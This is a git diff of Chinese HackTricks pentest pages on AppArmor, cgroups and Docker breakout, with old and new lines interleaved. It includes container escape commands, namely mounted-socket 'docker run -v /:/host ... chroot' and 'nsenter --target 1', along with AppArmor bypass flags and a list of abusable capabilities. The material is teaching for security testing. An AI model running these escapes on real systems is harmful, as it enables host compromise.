AppArmor 配置文件通常保存在 _**/etc/apparmor.d/**_ 目录中\
|
||||
使用 `sudo aa-status` 命令,您将能够列出受某个配置文件限制的二进制文件。如果您可以将每个列出的二进制文件的路径中的斜杠“/”更改为点号,您将获得提到的文件夹中 AppArmor 配置文件的名称。
|
||||
|
||||
例如,_usr/bin/man_的**apparmor**配置文件将位于_/etc/apparmor.d/usr.bin.man_中。
|
||||
例如,_usr/bin/man_ 的 **AppArmor** 配置文件将位于 _/etc/apparmor.d/usr.bin.man_
|
||||
|
||||
### 命令
|
||||
```bash
|
||||
|
@ -64,39 +65,39 @@ aa-mergeprof #used to merge the policies
|
|||
## 创建一个配置文件
|
||||
|
||||
* 为了指定受影响的可执行文件,允许使用**绝对路径和通配符**(用于文件通配)来指定文件。
|
||||
* 为了指定二进制文件对**文件**的访问权限,可以使用以下**访问控制**:
|
||||
* 为了指示二进制文件将对**文件**具有的访问权限,可以使用以下**访问控制**:
|
||||
* **r**(读取)
|
||||
* **w**(写入)
|
||||
* **m**(内存映射为可执行文件)
|
||||
* **k**(文件锁定)
|
||||
* **l**(创建硬链接)
|
||||
* **ix**(使用新程序执行另一个程序,继承策略)
|
||||
* **Px**(在清理环境后,在另一个配置文件下执行)
|
||||
* **Cx**(在清理环境后,在子配置文件下执行)
|
||||
* **Ux**(在清理环境后,执行无限制)
|
||||
* **ix**(使用新程序继承策略执行另一个程序)
|
||||
* **Px**(在清理环境后在另一个配置文件下执行)
|
||||
* **Cx**(在清理环境后在子配置文件下执行)
|
||||
* **Ux**(在清理环境后执行无限制)
|
||||
* **变量**可以在配置文件中定义,并且可以从配置文件外部进行操作。例如:@{PROC} 和 @{HOME}(在配置文件中添加 #include \<tunables/global>)
|
||||
* **支持拒绝规则以覆盖允许规则**。
|
||||
|
||||
### aa-genprof
|
||||
|
||||
要轻松开始创建一个配置文件,可以使用 apparmor。可以让**apparmor 检查二进制文件执行的操作,然后让您决定要允许还是拒绝哪些操作**。\
|
||||
为了轻松开始创建一个配置文件,apparmor 可以帮助您。可以让**apparmor 检查二进制文件执行的操作,然后让您决定要允许还是拒绝哪些操作**。\
|
||||
只需要运行:
|
||||
```bash
|
||||
sudo aa-genprof /path/to/binary
|
||||
```
|
||||
然后,在另一个控制台执行二进制文件通常会执行的所有操作:
|
||||
然后,在另一个控制台中执行二进制文件通常会执行的所有操作:
|
||||
```bash
|
||||
/path/to/binary -a dosomething
|
||||
```
|
||||
然后,在第一个控制台中按下 "**s**",然后在记录的操作中指示您想要忽略、允许或其他操作。完成后按下 "**f**",新配置文件将被创建在 _/etc/apparmor.d/path.to.binary_
|
||||
|
||||
{% hint style="info" %}
|
||||
使用箭头键,您可以选择要允许/拒绝/其他的内容
|
||||
使用箭头键可以选择您想要允许/拒绝/其他的内容
|
||||
{% endhint %}
|
||||
|
||||
### aa-easyprof
|
||||
|
||||
您还可以使用以下命令创建二进制文件的AppArmor配置文件模板:
|
||||
您还可以使用以下命令创建一个二进制文件的AppArmor配置文件模板:
|
||||
```bash
|
||||
sudo aa-easyprof /path/to/binary
|
||||
# vim:syntax=apparmor
|
||||
|
@ -122,7 +123,7 @@ sudo aa-easyprof /path/to/binary
|
|||
}
|
||||
```
|
||||
{% hint style="info" %}
|
||||
请注意,默认情况下,在创建的配置文件中,什么都不允许,因此一切都被拒绝。您需要添加类似 `/etc/passwd r,` 这样的行来允许二进制文件读取 `/etc/passwd` 。
|
||||
请注意,默认情况下,在创建的配置文件中,什么都不允许,因此一切都被拒绝。您需要添加类似 `/etc/passwd r,` 这样的行来允许例如读取二进制文件 `/etc/passwd`。
|
||||
{% endhint %}
|
||||
|
||||
然后,您可以使用以下命令**强制执行**新配置文件:
|
||||
|
@ -131,12 +132,12 @@ sudo apparmor_parser -a /etc/apparmor.d/path.to.binary
|
|||
```
|
||||
### 从日志修改配置文件
|
||||
|
||||
以下工具将读取日志,并询问用户是否允许执行一些检测到的禁止操作:
|
||||
以下工具将读取日志,并询问用户是否允许一些检测到的禁止操作:
|
||||
```bash
|
||||
sudo aa-logprof
|
||||
```
|
||||
{% hint style="info" %}
|
||||
使用箭头键,您可以选择要允许/拒绝/其他操作的内容
|
||||
使用箭头键可以选择您想要允许/拒绝/其他操作的内容
|
||||
{% endhint %}
|
||||
|
||||
### 管理配置文件
|
||||
|
@ -149,7 +150,7 @@ apparmor_parser -R /etc/apparmor.d/profile.name #Remove profile
|
|||
```
|
||||
## 日志
|
||||
|
||||
来自可执行文件 **`service_bin`** 的 _/var/log/audit/audit.log_ 中 **AUDIT** 和 **DENIED** 日志示例:
|
||||
来自可执行文件 **`service_bin`** 的 _/var/log/audit/audit.log_ 中 **AUDIT** 和 **DENIED** 日志的示例:
|
||||
```bash
|
||||
type=AVC msg=audit(1610061880.392:286): apparmor="AUDIT" operation="getattr" profile="/bin/rcat" name="/dev/pts/1" pid=954 comm="service_bin" requested_mask="r" fsuid=1000 ouid=1000
|
||||
type=AVC msg=audit(1610061880.392:287): apparmor="DENIED" operation="open" profile="/bin/rcat" name="/etc/hosts" pid=954 comm="service_bin" requested_mask="r" denied_mask="r" fsuid=1000 ouid=0
|
||||
|
@ -174,7 +175,7 @@ For more information, please see: https://wiki.ubuntu.com/DebuggingApparmor
|
|||
```
|
||||
## Docker中的Apparmor
|
||||
|
||||
请注意默认情况下Docker加载的docker配置文件**docker-profile**:
|
||||
注意默认情况下如何加载docker的配置文件**docker-profile**:
|
||||
```bash
|
||||
sudo aa-status
|
||||
apparmor module is loaded.
|
||||
|
@ -195,7 +196,7 @@ docker-default
|
|||
**docker-default profile 摘要**:
|
||||
|
||||
- 允许访问所有**网络**
|
||||
- 没有定义**任何权限**(但是,一些权限将来自于包含基本基础规则,即 #include \<abstractions/base>)
|
||||
- 没有定义**任何权限**(但是,一些权限将来自于包含基本基本规则,即 #include \<abstractions/base>)
|
||||
- **不允许**写入任何 **/proc** 文件
|
||||
- 其他 /**proc** 和 /**sys** 的**子目录**/**文件** **拒绝**读取/写入/锁定/链接/执行访问
|
||||
- **不允许**挂载
|
||||
|
@ -206,26 +207,26 @@ docker-default
|
|||
1 processes are in enforce mode.
|
||||
docker-default (825)
|
||||
```
|
||||
请注意,**apparmor 甚至会默认阻止容器被授予的特权权限**。例如,即使授予了 SYS_ADMIN 权限,它也可以**阻止写入 /proc 目录的权限**,因为默认情况下 docker apparmor 配置文件拒绝了这种访问:
|
||||
请注意,**即使容器被默认授予了能力权限,apparmor 也会阻止这些权限**。例如,即使授予了 SYS_ADMIN 能力,它也可以**阻止写入 /proc 目录的权限**,因为默认情况下 docker apparmor 配置文件拒绝了这种访问:
|
||||
```bash
|
||||
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined ubuntu /bin/bash
|
||||
echo "" > /proc/stat
|
||||
sh: 1: cannot create /proc/stat: Permission denied
|
||||
```
|
||||
你需要**禁用 apparmor** 来绕过其限制:
|
||||
你需要**禁用 AppArmor** 来绕过其限制:
|
||||
```bash
|
||||
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu /bin/bash
|
||||
```
|
||||
请注意,默认情况下**AppArmor**也会**禁止容器从内部挂载**文件夹,即使具有SYS_ADMIN权限也不行。
|
||||
|
||||
请注意,您可以向docker容器**添加/删除****权限**(这仍将受到诸如**AppArmor**和**Seccomp**之类的保护方法的限制):
|
||||
请注意,您可以向docker容器**添加/移除****权限**(这仍将受到诸如**AppArmor**和**Seccomp**之类的保护方法的限制):
|
||||
|
||||
- `--cap-add=SYS_ADMIN` 给予`SYS_ADMIN`权限
|
||||
- `--cap-add=ALL` 给予所有权限
|
||||
- `--cap-drop=ALL --cap-add=SYS_PTRACE` 撤销所有权限,仅给予`SYS_PTRACE`权限
|
||||
|
||||
{% hint style="info" %}
|
||||
通常,当您**发现**在**docker**容器**内部**有**特权权限**可用,但某些**利用**的部分**无法正常工作**时,这是因为docker的**AppArmor会阻止**它。
|
||||
通常,当您**发现**在**docker**容器**内部**有**特权权限**可用,但某些**利用**的部分**无法正常工作**时,这可能是因为docker的**AppArmor正在阻止**。
|
||||
{% endhint %}
|
||||
|
||||
### 示例
|
||||
|
@ -245,7 +246,7 @@ sudo apparmor_parser -r -W mydocker
|
|||
$ sudo apparmor_status | grep mydocker
|
||||
mydocker
|
||||
```
|
||||
如下所示,在尝试更改“/etc/”时,由于AppArmor配置文件阻止对“/etc”的写访问,我们会收到错误。
|
||||
如下所示,在尝试更改“/etc/”时,由于AppArmor配置文件阻止对“/etc”的写访问,因此会出现错误。
|
||||
```
|
||||
$ docker run --rm -it --security-opt apparmor:mydocker -v ~/haproxy:/localhost busybox chmod 400 /etc/hostname
|
||||
chmod: /etc/hostname: Permission denied
|
||||
|
@ -264,7 +265,7 @@ find /etc/apparmor.d/ -name "*lowpriv*" -maxdepth 1 2>/dev/null
|
|||
```
|
||||
### AppArmor Docker Bypass2
|
||||
|
||||
**AppArmor是基于路径的**,这意味着即使它可能会**保护**目录内的文件,比如**`/proc`**,如果你可以**配置容器的运行方式**,你可以将主机的proc目录挂载到**`/host/proc`**,这样它就**不再受AppArmor保护**。
|
||||
**AppArmor是基于路径的**,这意味着即使它可能会**保护**目录内的文件,比如**`/proc`**,如果你可以**配置容器的运行方式**,你可以**挂载**主机的proc目录到**`/host/proc`**,这样它就**不再受AppArmor保护**了。
|
||||
|
||||
### AppArmor Shebang Bypass
|
||||
|
||||
|
@ -282,7 +283,7 @@ chmod +x /tmp/test.pl
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到**窃取恶意软件**的**威胁**。
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**推动的搜索引擎,提供免费功能,用于检查公司或其客户是否受到**窃取恶意软件**的**损害**。
|
||||
|
||||
WhiteIntel的主要目标是打击由窃取信息恶意软件导致的账户劫持和勒索软件攻击。
|
||||
|
||||
|
@ -290,16 +291,17 @@ WhiteIntel的主要目标是打击由窃取信息恶意软件导致的账户劫
|
|||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 上关注我们 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,30 +1,31 @@
|
|||
# CGroups
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中被广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github 仓库提交 PR 来分享黑客技巧。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 基本信息
|
||||
|
||||
**Linux控制组**,或**cgroups**,是Linux内核的一个功能,允许在进程组之间分配、限制和优先处理系统资源,如CPU、内存和磁盘I/O。它们提供了一种机制,用于**管理和隔离进程集合的资源使用**,有助于资源限制、工作负载隔离以及在不同进程组之间进行资源优先处理。
|
||||
**Linux 控制组**,或称为 **cgroups**,是 Linux 内核的一个功能,允许在进程组之间分配、限制和优先处理系统资源,如 CPU、内存和磁盘 I/O。它们提供了一种机制,用于**管理和隔离进程集合的资源使用**,有助于资源限制、工作负载隔离以及在不同进程组之间进行资源优先处理。
|
||||
|
||||
**cgroups有两个版本**:版本1和版本2。两者可以同时在系统上使用。主要区别在于**cgroups版本2**引入了一个**分层、类似树状结构**,使得在进程组之间能够进行更细致和详细的资源分配。此外,版本2带来了各种增强功能,包括:
|
||||
**cgroups 有两个版本**:版本 1 和版本 2。两者可以同时在系统上使用。主要区别在于 **cgroups 版本 2** 引入了一个 **层次化、类似树状结构**,使得在进程组之间能够进行更精细和详细的资源分配。此外,版本 2 带来了各种增强功能,包括:
|
||||
|
||||
除了新的分层组织外,cgroups版本2还引入了**其他几项更改和改进**,如支持**新的资源控制器**、更好地支持传统应用程序和提高性能。
|
||||
除了新的层次化组织外,cgroups 版本 2 还引入了**其他几项更改和改进**,如支持**新的资源控制器**、更好地支持传统应用程序和提高性能。
|
||||
|
||||
总体而言,**cgroups版本2提供了更多功能和更好的性能**,但在某些情况下仍可以使用版本1,特别是在需要与旧系统兼容时。
|
||||
总体而言,cgroups **版本 2 提供了更多功能和更好的性能**,但在某些情况下仍可以使用版本 1,特别是在需要与旧系统兼容性的情况下。
|
||||
|
||||
您可以通过查看进程的cgroup文件在/proc/\<pid>中列出任何进程的v1和v2 cgroups。您可以通过以下命令查看您的shell的cgroups开始。
|
||||
您可以通过查看进程的 cgroup 文件在 /proc/\<pid> 中列出任何进程的 v1 和 v2 cgroups。您可以通过以下命令查看您的 shell 的 cgroups 开始:
|
||||
```shell-session
|
||||
$ cat /proc/self/cgroup
|
||||
12:rdma:/
|
||||
|
@ -39,43 +40,33 @@ $ cat /proc/self/cgroup
|
|||
1:name=systemd:/user.slice/user-1000.slice/session-2.scope
|
||||
0::/user.slice/user-1000.slice/session-2.scope
|
||||
```
|
||||
```markdown
|
||||
输出结构如下:
|
||||
### 查看 cgroups
|
||||
|
||||
* **数字2-12**:cgroups v1,每行代表不同的cgroup。这些cgroup的控制器与数字相邻。
|
||||
* **数字1**:也是cgroups v1,但仅用于管理目的(例如由systemd设置),不包含控制器。
|
||||
* **数字0**:代表cgroups v2。未列出控制器,并且此行仅在仅运行cgroups v2的系统上出现。
|
||||
* **名称是分层的**,类似文件路径,表示不同cgroups之间的结构和关系。
|
||||
* **像/user.slice或/system.slice**这样的名称指定了cgroups的分类,其中user.slice通常用于systemd管理的登录会话,而system.slice用于系统服务。
|
||||
文件系统通常用于访问 **cgroups**,与传统用于内核交互的 Unix 系统调用接口不同。要调查 shell 的 cgroup 配置,应检查 **/proc/self/cgroup** 文件,其中显示了 shell 的 cgroup。然后,通过导航到 **/sys/fs/cgroup**(或 **`/sys/fs/cgroup/unified`**)目录,并找到一个与 cgroup 名称相同的目录,可以观察与 cgroup 相关的各种设置和资源使用信息。
|
||||
|
||||
### 查看cgroups
|
||||
![Cgroup 文件系统](<../../../.gitbook/assets/image (1128).png>)
|
||||
|
||||
通常使用文件系统来访问**cgroups**,与传统用于内核交互的Unix系统调用接口不同。要调查shell的cgroup配置,应检查**/proc/self/cgroup**文件,其中显示了shell的cgroup。然后,通过导航到**/sys/fs/cgroup**(或**`/sys/fs/cgroup/unified`**)目录并找到与cgroup名称相同的目录,可以观察与cgroup相关的各种设置和资源使用信息。
|
||||
用于 cgroups 的关键接口文件以 **cgroup** 为前缀。**cgroup.procs** 文件可以使用像 cat 这样的标准命令查看,其中列出了 cgroup 中的进程。另一个文件 **cgroup.threads** 包含线程信息。
|
||||
|
||||
![Cgroup文件系统](<../../../.gitbook/assets/image (1128).png>)
|
||||
![Cgroup 进程](<../../../.gitbook/assets/image (281).png>)
|
||||
|
||||
用于cgroups的关键接口文件以**cgroup**为前缀。可以使用诸如cat之类的标准命令查看的**cgroup.procs**文件列出了cgroup中的进程。另一个文件**cgroup.threads**包含线程信息。
|
||||
管理 shell 的 cgroups 通常包括两个控制器,用于调节内存使用和进程计数。要与控制器交互,应查阅带有控制器前缀的文件。例如,**pids.current** 将被引用以确定 cgroup 中线程的计数。
|
||||
|
||||
![Cgroup Procs](<../../../.gitbook/assets/image (281).png>)
|
||||
![Cgroup 内存](<../../../.gitbook/assets/image (677).png>)
|
||||
|
||||
管理shell的cgroups通常包括两个控制器,用于调节内存使用和进程计数。要与控制器交互,应查阅带有控制器前缀的文件。例如,**pids.current**将被引用以确定cgroup中线程的计数。
|
||||
数值中的 **max** 表示 cgroup 没有特定限制。但是,由于 cgroups 的层次结构,限制可能由目录层次结构中较低级别的 cgroup 强加。
|
||||
|
||||
![Cgroup Memory](<../../../.gitbook/assets/image (677).png>)
|
||||
### 操纵和创建 cgroups
|
||||
|
||||
数值中的**max**表示cgroup没有特定限制。但是,由于cgroups的分层性质,限制可能由目录层次结构中较低级别的cgroup强加。
|
||||
|
||||
### 操作和创建cgroups
|
||||
|
||||
通过**将其进程ID(PID)写入`cgroup.procs`文件**,将进程分配给cgroups。这需要root权限。例如,要添加一个进程:
|
||||
```
|
||||
通过将其进程 ID(PID)写入 `cgroup.procs` 文件,将进程分配给 cgroups。这需要 root 权限。例如,要添加一个进程:
|
||||
```bash
|
||||
echo [pid] > cgroup.procs
|
||||
```
|
||||
同样,**修改 cgroup 属性,比如设置 PID 限制**,是通过将期望的值写入相关文件来完成的。要为 cgroup 设置最大 3,000 个 PID:
|
||||
同样,**修改 cgroup 属性,比如设置 PID 限制**,是通过将期望的值写入相关文件来完成的。要为 cgroup 设置最多 3,000 个 PID:
|
||||
```bash
|
||||
echo 3000 > pids.max
|
||||
```
|
||||
**创建新的 cgroups** 包括在 cgroup 层次结构中创建一个新的子目录,这会促使内核自动生成必要的接口文件。尽管可以使用 `rmdir` 删除没有活动进程的 cgroups,请注意一些限制:
|
||||
**创建新的 cgroups** 包括在 cgroup 层次结构中创建一个新的子目录,这会促使内核自动生成必要的接口文件。尽管可以使用 `rmdir` 删除没有活动进程的 cgroups,但要注意一些限制:
|
||||
|
||||
- **进程只能放置在叶子 cgroups 中**(即,在层次结构中最嵌套的 cgroups)。
|
||||
- **一个 cgroup 不能拥有其父级中不存在的控制器**。
|
||||
|
@ -83,9 +74,9 @@ echo 3000 > pids.max
|
|||
```bash
|
||||
echo "+cpu +pids" > cgroup.subtree_control
|
||||
```
|
||||
**根 cgroup** 是这些规则的一个例外,允许直接进程放置。这可以用来将进程从 systemd 管理中移除。
|
||||
**根 cgroup** 是这些规则的一个例外,允许直接放置进程。这可以用来将进程从 systemd 管理中移除。
|
||||
|
||||
在 cgroup 中**监视 CPU 使用情况**是可能的,通过 `cpu.stat` 文件显示总 CPU 时间消耗,有助于跟踪服务的子进程的使用情况:
|
||||
通过 `cpu.stat` 文件可以监视 cgroup 中的 CPU 使用情况,显示总 CPU 时间消耗,有助于跟踪服务的子进程的使用情况:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (908).png" alt=""><figcaption><p>在 cpu.stat 文件中显示的 CPU 使用统计信息</p></figcaption></figure>
|
||||
|
||||
|
|
|
@ -1,38 +1,39 @@
|
|||
# Docker越权/提权
|
||||
# Docker越狱 / 提权
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
|
||||
- **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
使用[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation)轻松构建和**自动化工作流程**,利用世界上**最先进**的社区工具。\
|
||||
使用 [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation) 可以轻松构建和**自动化工作流程**,使用世界上**最先进**的社区工具。\
|
||||
立即获取访问权限:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %}
|
||||
|
||||
## 自动枚举与逃逸
|
||||
|
||||
- [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS):它还可以**枚举容器**
|
||||
- [**CDK**](https://github.com/cdk-team/CDK#installationdelivery):这个工具对于枚举您所在的容器甚至尝试自动逃逸非常**有用**
|
||||
- [**amicontained**](https://github.com/genuinetools/amicontained):有用的工具,用于获取容器具有的特权,以找到逃逸的方法
|
||||
- [**deepce**](https://github.com/stealthcopter/deepce):用于枚举和逃逸容器的工具
|
||||
- [**grype**](https://github.com/anchore/grype):获取镜像中安装的软件中包含的CVE
|
||||
* [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): 它也可以**枚举容器**
|
||||
* [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): 这个工具非常**有用,可以枚举您所在的容器,甚至尝试自动逃逸**
|
||||
* [**amicontained**](https://github.com/genuinetools/amicontained): 有用的工具,用于获取容器的权限,以便找到逃逸的方法
|
||||
* [**deepce**](https://github.com/stealthcopter/deepce): 用于枚举和逃逸容器的工具
|
||||
* [**grype**](https://github.com/anchore/grype): 获取镜像中安装的软件中包含的 CVE
|
||||
|
||||
## 挂载Docker套接字逃逸
|
||||
## 挂载的Docker套接字逃逸
|
||||
|
||||
如果您某种方式发现**docker套接字被挂载**在docker容器内部,您将能够从中逃逸。\
|
||||
如果您发现**docker套接字被挂载**在docker容器内部,您将能够从中逃逸。\
|
||||
这通常发生在需要连接到docker守护程序执行操作的docker容器中。
|
||||
```bash
|
||||
#Search the socket
|
||||
|
@ -54,10 +55,10 @@ nsenter --target 1 --mount --uts --ipc --net --pid -- bash
|
|||
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash
|
||||
```
|
||||
{% hint style="info" %}
|
||||
如果 **docker 套接字位于意外位置**,您仍然可以使用带有参数 **`-H unix:///path/to/docker.sock`** 的 **`docker`** 命令与其通信。
|
||||
如果 **docker套接字位于意外位置**,您仍然可以使用带有参数 **`-H unix:///path/to/docker.sock`** 的 **`docker`** 命令与其通信。
|
||||
{% endhint %}
|
||||
|
||||
Docker 守护程序也可能在端口上进行监听(默认为 2375、2376),或者在基于 Systemd 的系统上,可以通过 Systemd 套接字 `fd://` 与 Docker 守护程序进行通信。
|
||||
Docker守护程序也可能在端口上进行监听(默认为2375、2376),或者在基于Systemd的系统上,可以通过Systemd套接字 `fd://` 与Docker守护程序进行通信。
|
||||
|
||||
{% hint style="info" %}
|
||||
此外,还要注意其他高级运行时的运行时套接字:
|
||||
|
@ -70,29 +71,35 @@ Docker 守护程序也可能在端口上进行监听(默认为 2375、2376)
|
|||
* ...
|
||||
{% endhint %}
|
||||
|
||||
## 权限滥用逃逸
|
||||
## 能力滥用逃逸
|
||||
|
||||
您应该检查容器的权限,如果具有以下任何权限,则可能能够逃离其中:**`CAP_SYS_ADMIN`**、**`CAP_SYS_PTRACE`**、**`CAP_SYS_MODULE`**、**`DAC_READ_SEARCH`**、**`DAC_OVERRIDE`**、**`CAP_SYS_RAWIO`**、**`CAP_SYSLOG`**、**`CAP_NET_RAW`**、**`CAP_NET_ADMIN`**
|
||||
您应该检查容器的能力,如果具有以下任何一种能力,则可能能够从中逃逸:**`CAP_SYS_ADMIN`**、**`CAP_SYS_PTRACE`**、**`CAP_SYS_MODULE`**、**`DAC_READ_SEARCH`**、**`DAC_OVERRIDE, CAP_SYS_RAWIO`**、**`CAP_SYSLOG`**、**`CAP_NET_RAW`**、**`CAP_NET_ADMIN`**
|
||||
|
||||
您可以使用**先前提到的自动工具**或以下方式检查当前容器的权限:
|
||||
您可以使用**先前提到的自动工具**或以下方式检查当前容器的能力:
|
||||
```bash
|
||||
capsh --print
|
||||
```
|
||||
## 从特权容器中逃逸
|
||||
在以下页面,您可以**了解有关Linux功能的更多信息**,以及如何滥用它们来逃脱/提升权限:
|
||||
|
||||
可以通过使用标志 `--privileged` 或禁用特定防御措施来创建特权容器:
|
||||
{% content-ref url="../../linux-capabilities.md" %}
|
||||
[linux-capabilities.md](../../linux-capabilities.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
- `--cap-add=ALL`
|
||||
- `--security-opt apparmor=unconfined`
|
||||
- `--security-opt seccomp=unconfined`
|
||||
- `--security-opt label:disable`
|
||||
- `--pid=host`
|
